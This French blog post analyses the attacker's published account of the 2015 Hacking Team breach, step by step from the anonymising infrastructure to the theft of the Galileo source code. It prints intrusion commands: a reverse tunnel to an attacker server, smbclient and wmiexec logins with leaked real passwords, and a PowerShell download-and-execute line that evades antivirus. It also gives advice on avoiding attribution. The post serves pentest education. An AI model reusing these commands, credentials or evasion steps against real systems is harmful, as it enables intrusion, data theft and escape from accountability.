Bref rappel du contexte : Hacking Team[1] est une entreprise qui conçoit et vend des logiciels malveillants ready-to-use aux gouvernements afin d’espionner les journalistes, activistes, opposants, etc. En Juillet 2015, ils ont été victime d’une attaque qui a exposé leurs données internes (emails, clients, zéro-days, etc.) sur Wikileaks. Des exploit kits ont repris leurs zéro-days, des hackers leurs outils, mais un épais brouillard entourait le mode opératoire de l’attaquant …jusqu’à dimanche dernier en tout cas
En effet, une note[2] publiée le 17 avril 2016 sur Pastebin par la personne prétendant avoir attaquée Hacking team, explique en détail sa démarche, ses outils et les challenges rencontrés. Certes ce type de publication est à prendre avec des pincettes, mais vu la qualité de la note, la cohérence des propos et le niveau technique affiché, cela vaut le détour ne serait-ce que pour deux ou trois astuces.
1. Stay safe
Mener une attaque réussie requiert en premier lieu une infrastructure qui garantit l’anonymat. L’attaquant décrit sa procédure classique :
- Location de serveurs privés dans un pays non susceptible de coopérer avec le pays de la cible (paiement en bitcoin) ;
- Utilisation du réseau Tor afin de se connecter sur ce serveur privé ;
- Accès au réseau Tor via le WiFi du voisin ou depuis un espace public dans l’idéal - optionnel;
- Utilisation d’un système d’exploitation où tout est routé via Tor (Tails, Whonix, etc.) ;
- Déploiement de ce système d’exploitation sur une machine virtuelle hébergée sur une partition chiffrée avec TrueCrypt en Hidden volume.
Toutes les requêtes d’attaque ont été menées depuis le serveur privé qui disposait d’une bande passante suffisante pour mener un scan de port, récupérer 40Go de données de la cible, etc.
Le réseau TOR -disposant d’une faible bande passante - permettait de se connecter sur le serveur privé afin d’exécuter des scripts d’attaque, de reconnaissance, etc.
L’utilisation d’un VPN en amont du réseau TOR peut être une option intéressante mais il est nécessaire de choisir un fournisseur[3] qui ne journalise pas les accès et qui ne serait pas coopératif face à une demande de données :
- AirVPN ;
- AzireVPN ;
- Proxy.sh ;
- …
2. Reconnaissance
Une fois l’infrastructure en place, l’attaque a débuté avec, en premier lieu l’incontournable phase de cartographie afin d’identifier l’ensemble des actifs de Hacking Team exposés sur Internet.
Ceci a été effectué de manière classique via une série de whois, reverse whois,… en partant du nom de l’entreprise, son adresse, le nom du registrar, etc.
Étant de petite taille, Hacking Team n’expose que très peu de serveurs sur leur réseau externe 93.62.139.32 - 93.62.139.47.
- Site Web sur le CMS Joomla ;
- Serveur Mail ;
- Appliance VPN ;
- Appliance Anti-Spam.
Dès lors trois options se présentèrent à l’attaquant :
- Identifier une faille 0-day sur Joomla, un scan via l’outil joomscan n’ayant rien révélé ;
- Identifier une faille 0-day sur Postfix - outil populaire d’envoi de mails ;
- Identifier une faille 0-day sur les boitiersVPN.
3. La valeur ajoutée d’une appliance
“a 0day in an embedded device seemed like the easiest option”, cite l’attaquant dans sa note. Perturbant en effet que de préférer s’attaquer à un système embarqué inconnu plutôt qu’à un CMS dont l’historique en matière de sécurité laisse à désirer. Ceci dit, deux semaines de recherche ont suffi à identifier une vulnérabilité de type injection de code à distance sur l’appliance VPN…
Nous n’avons pas le détail de la vulnérabilité, toutefois nous pouvons imaginer qu’il a suivi l’approche suivante :
- Identification la version et référence du routeur (mire d’authentification, verbosité des bannières, etc.) ;
- Téléchargement le firmware ou bien le récupérer via du hardware hacking ;
- Fuzzing du firmware et/ou inspection manuelle du code désassemblé ;
- Découverte de la faille.
Le blog devttys0[4] référence nombre de techniques et d’outils afin de mener ce type d’attaques.
Suite à l’identification de la faille, il affina son exploit en le testant sur d’autres équipements vulnérables. Une fois au point, il le déploya sur Hacking Team et mit à jour le firmware du VPN afin de s’accorder un accès root à distance.
Dès lors, il pouvait se connecter légitimement sur le routeur sans risquer de causer une indisponibilité suite à l’utilisation de l’exploit.
4. Préparation du camp de base
L’idée, une fois la première machine compromise, était de charger les outils d’attaque sur ce qui allait devenir le camp de base de l’attaque. Puisqu’il s’agissait d’un système embarqué, il lui fallut recompiler l’ensemble des outils classiques pour fonctionner sur le nouveau noyau :
- busybox : contient tous les outils classiques Unix parce que, je cite -I wanted to feel at home in Hacking Team's network-.
- Nmap : afin d’effectuer les scans interne ;
- Tcpdump : sniffeur réseau afin de récupérer le trafic transitant sur la carte réseau – utile pour récupérer les mots de passe en clair ;
- Python : car Ruby ne fait tout simplement pas l’affaire… ;
- Responder : outil d’interception des challenges NTLM ;
- Tgcd : un redirecteur de ports afin contourner le pare-feu en routant le trafic via les ports autorisés (détaillé par la suite).
Le schéma de l’attaque est illustrée dans la figure suivante :
5. NoAuthentication
Un scan du réseau interne depuis le VPN compromis permit d’identifier des instances de la base MongoDB qui hébergeaient les enregistrement audio et vidéo de leurs activités internes.
Par défaut, cette base de données NoSQL ne requiert pas d’authentification (à l’instar de ses compères par ailleurs) et permit donc à l’attaquant de récupérer l’ensemble des données stockées dessus [5].
6. Convergence LAN-SAN
Le scan interne révéla un autre élément intéressant : un équipement exposant le port 3260. Ce dernier correspondait à une interface iscsi : un protocole permettant de communiquer avec des systèmes de stockage (SAN) via IP.
Encore une fois, aucune authentification ne protégeait l’accès aux systèmes de stockage ce qui permit à l’attaquant d’accéder à l’ensemble du contenu hébergé dessus.
L’attaquant ne pouvait néanmoins utiliser le VPN compromis pour exécuter les commandes iscsi, car les modules noyaux nécessaires ne pouvaient pas facilement être déployés sur le système embarqué en question.
À ce moment-là, L’attaquant eût recours aux outils de redirection des flux : tgcd, NAT dans iptables, etc.
7. Tunneling mode
L’idée était d’utiliser le serveur privé de l’attaquant (externe) afin de communiquer en iscsi avec le serveur de stockage (interne), en contournant évidemment le filtrage qui interdisait ce protocole depuis l’externe.
L’attaquant utilisa pour cela l’outil tgcd qui établit un tunnel entre deux machines avec redirection du trafic d’un port vers un autre :
- Une instance présente sur le serveur privé (externe) tournait en mode Listen sur le port 42838 ;
o tgcd -L -p 3260 -q 42838 (sur VPS_IP)
- Une seconde instance présente sur le routeur compromis (interne) se connecta à l’instance externe sur le port 42838, établissant ainsi un tunnel entre les deux machines.
o tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838 (sur le routeur)
- De ce fait, le trafic local initié sur le serveur privé (VPS) à destination du port local 3260 était redirigé vers le port 3260 du SAN de Hacking team en passant par le tunnel.
Deux points clés intéressants à propos de cette technique :
Le tunnel est initié par le routeur compromis ce qui permet de contourner les règles de filtrage, qui sont plus généralement plus laxistes envers les flux sortants.· Il est possible d’utiliser les outils présents sur le serveur privé sans nécessité de les recompiler;
Pour information une version précompilée de TGCD est disponible sur l’environnement Windows [6]
8. Récupération des mails
Suite à l’établissement du tunnel, l’utilitaire iscsiadm pouvait être exécuté sur le serveur privé afin de se connecter de manière transparente sur le SAN .
$ iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 127.0.0.1 –login
La commande précédente a créé localement le device /dev/sdb1 qui pointait vers le bloc de données au niveau du SAN.
Il était possible ensuite de monter de manière standard cette partition via vmfs-fuse:
$ vmfs-fuse –o ro /dev/sdb1 /mnt/tmp
Le SAN contenait des sauvegardes de machines virtuelles, dont le serveur de messagerie. S’agissant du format VMDK, il était nécessaire de localiser en premier lieu l’offset de la partition à monter :
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0/dev/loop0p1 2048 1258287103 629142528 7 HPFS/NTFS/exFAT L’offset étant de 2048 * 512 = 1048576 il était possible de monter le disque via les commandes :
$ losetup -o 1048576 /dev/loop1 /dev/loop0$ mount -o ro /dev/loop1 /mnt/exchange/ En parcourant le répertoire monté /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311,
L’attaquant y découvrit le disque VHD d’une sauvegarde du serveur Exchange : vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1Ceci lui donna donc accès à une partie des mails sauvegardés sur le SAN.
9. Escalade de privilèges
Ayant accès aux sauvegardes des machines virtuelles, l’attaquant inspecta les clés de registres via cachedump, pwdump, ... à la recherche d’authentifiants : le compte d’administration des serveurs BlackBerry, besadmin ainsi que son mot de passe furent récupérés ainsi.
Il rejoua ces authentifiants via la connexion sur le partage c$ du serveur Exchange (via proxychains afin de rediriger l’ensemble des flux vers un second tunnel)
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
Bingo, le compte besadmin possédait les privilèges d’administration locale sur le serveur, il était donc possible de déchiffrer les mots de passe présents dans la mémoire du process lsass.exe et ainsi récupérer le compte admin de domaine :
10.Récupération des données
Une fois admin du domaine, l’attaquant s’est amusé à parcourir l’ensemble des partages réseaux et postes de travail à la recherche d’information sensibles.
proxychains smbclient '//192.168.1.230/FAE DiskStation' -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
Il évoque dans sa note différentes astuces facilitant la récupération d’information, mais qui partagent toutes un seul point commun: Powershell..(avec quelques modules comme PowerTools).
· Récupération de la liste de l’ensemble des fichiers présents sur tous les partages :
Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
select fullname | out-file -append files.txt}
· Extraction des mails[7] :
New-MailboxExportRequest -Mailbox Administrator -FilePath \\AZUA\Exports\Administrator.pst
· Récupération des fichiers sharepoint [8]
11.Al ponte
Malgré la quantité de fichiers récupérée sur le domaine Windows, il manquait toujours le golden egg de Hacking Team : le code source de leur outil de surveillance Galileo. Ce dernier, selon la documentation récupérée, serait hébergé sur le réseau Sviluppo. Afin d’y accéder l’attaquant a ciblé les postes des administrateurs Mauro Romeo et Christian Pozzi.
Le poste de Mauro n’exposant pas de ports accessibles, l’attaquant a dû mettre à jour les règles firewall via GPO afin d’autoriser le service WMI, qui contrairement à Psexec laisse peu de traces sur le système et ne déclenche pas d’alertes au niveau des antivirus.
WMI peut être exécuté via un script faisant partie de la bibliothèque Impacket :
wmiexec.pyHACKINGTEAM/Administrator:uu8dd8ndd12!@xx.xx.xx.xx
La console WMI présentait une invite de commande qui a été utilisée pour charger du Powershell en mémoire depuis une machine distante afin de contourner l’antivirus :
cmd.exe /c powershell iex (New-Object Net.WebClient).DownloadString('http:///Machine_compromise_avec_PS_malveillant');
Ce script malveillant peut être un meterpreter, mimikatz, la suite nishang[9], PowerSploit[10], etc.
Une fois sur le poste de Mauro, l’attaquant enregistra les frappes clavier de ce dernier ainsi que son activité sur l’écran. Il découvrit ainsi la présence d’un volume Truecrypt et attendit patiemment que Mauro le déchiffre de plein gré avant d’inspecter son contenu.
Il y trouva un fichier texte contenant un mot de passe[10] qui permettait d’accéder à l’interface Web du serveur Nagios utilisé pour surveiller le réseau de Sviluppo.
12.Récupération du code source de Galileo
L’interface Web divulguait la présence du produit Centreon Entreprise Server. La version déployée présente de multiples failles publiques (SQLi + Remote Code Execution) qui nécessitent toutefois d’avoir une session active en cours, d’où l’intérêt de la récupération du mot de passe dans l’étape précédente.
Une fois sur le serveur Nagios, l’attaquant avait accès au réseau de développement et put accéder au github privé de l’entreprise. Il réutilisa le mot de passe Windows d’un développeur et accéda ainsi au code source de Galileo.
Game over…
13.Conclusion
Côté Pentest, nous retrouvons dans la démarche présentée beaucoup d’outils et techniques que nous utilisons régulièrement…d’autres un peu moins : bases NoSQL, SAN, WMI, etc.
Au final cela fait un scénario d’attaque intéressant à garder en tête.
Terminons ce focus sur une phrase emblématique de l’attaquant : “Thanks to hardworking Russians and their exploit kits […] Almost all of the Fortune 500, with their huge networks, have some bots already inside”.
Références :
Ayoub ELAASSAL